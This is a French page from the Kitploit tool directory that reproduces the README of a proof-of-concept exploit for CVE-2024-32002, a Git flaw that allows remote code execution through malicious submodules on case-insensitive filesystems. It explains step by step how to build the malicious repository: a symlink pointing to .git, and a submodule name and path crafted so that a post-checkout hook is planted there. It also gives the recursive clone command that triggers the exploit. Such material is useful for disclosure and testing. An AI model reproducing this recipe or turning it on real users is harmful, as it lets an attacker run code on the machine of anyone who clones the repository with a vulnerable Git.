Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2024-32002-poc-rce — Exploit de preuve de concept pour CVE-2024-32002, démontrant l'exécution de code à distance via des sous-modules Git malveillants sur des systèmes de fichiers insensibles à la casse. | Kitploit
Outils/GitHubGitHub/jakob-pennington/cve-2024-32002-poc-rce
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubjakob-pennington/cve-2024-32002-poc-rce

cve-2024-32002-poc-rce

Exploit de preuve de concept pour CVE-2024-32002, démontrant l'exécution de code à distance via des sous-modules Git malveillants sur des systèmes de fichiers insensibles à la casse.

Voir le dépôt
13il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-32002 RCE POC

Un POC pour CVE-2024-32002 démontrant l'exécution de code à distance (RCE).

Voir cve-2024-32002-poc-rce pour le dépôt de sous-module associé.

Ce que contient ce dépôt

  • Un lien symbolique avec un nom arbitraire qui pointe vers le répertoire .git.
  • Un fichier .gitmodules qui définit le sous-module malveillant.

Comment recréer ce dépôt

Ce dépôt a été créé sous Linux (WSL2, pour être précis). C'est important, le dépôt malveillant ne peut être créé que sur un système de fichiers sensible à la casse.

  1. Créez un lien symbolique, en utilisant uniquement des caractères minuscules
root@kitploit:~
ln -s .git submodule

Notes :

  • Le lien symbolique doit pointer vers le dossier .git, car c'est là que nous voulons écrire des fichiers.
  • Le nom du lien symbolique (submodule) est arbitraire, mais doit commencer par une lettre minuscule.
  • C'est important, car les caractères minuscules sont triés avant les caractères majuscules. Lorsque la machine qui clone est confuse quant à l'endroit où écrire les fichiers du sous-module, nous voulons qu'elle choisisse le lien symbolique et non un répertoire normal.
  1. Ajoutez le sous-module malveillant, en notant la différence de casse dans le nom du répertoire du sous-module
root@kitploit:~
git submodule add --name rce/notexists https://github.com/JakobTheDev/cve-2024-32002-submodule-rce.git Submodule/modules/rce

Notes :

  • Le nom du sous-module (« rce/notexists ») a son importance, il entrera en jeu lors du placement de notre hook dans le sous-module.
    • « rce » doit correspondre au dernier segment du chemin du sous-module.
    • « notexists » doit correspondre au nom du répertoire contenant hooks/post-checkout dans le répertoire du sous-module. Voir cve-2024-32002-poc-rce.
  • La structure du chemin du sous-module (« Submodule/modules/rce ») compte également :
    • Le premier segment du chemin du sous-module (« Submodule ») doit correspondre au nom du lien symbolique ci-dessus, en ne différant que par la casse.
    • Le deuxième segment (« modules ») correspond au nom du chemin dans le répertoire .git qui suit l'état git des sous-modules.
    • Le troisième segment (« rce ») doit correspondre au premier segment du nom du sous-module ci-dessus.

Comment exécuter le POC

Cette vulnérabilité n'affecte que Windows et MacOS car ils ont tous deux des systèmes de fichiers insensibles à la casse.

  1. Vérifiez si vous disposez d'une version vulnérable de git. Consultez l'avis GitHub pour les versions concernées.
root@kitploit:~
git --version
  1. Demandez-vous si vous voulez sciemment exécuter une commande qui pourrait permettre une RCE... Ce dépôt est bénin, mais êtes-vous sûr ?
  2. Exécutez la commande suivante :
root@kitploit:~
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-rce.git
  1. Si le POC fonctionne, vous devriez pouvoir faire quelques calculs !
Télécharger l’outil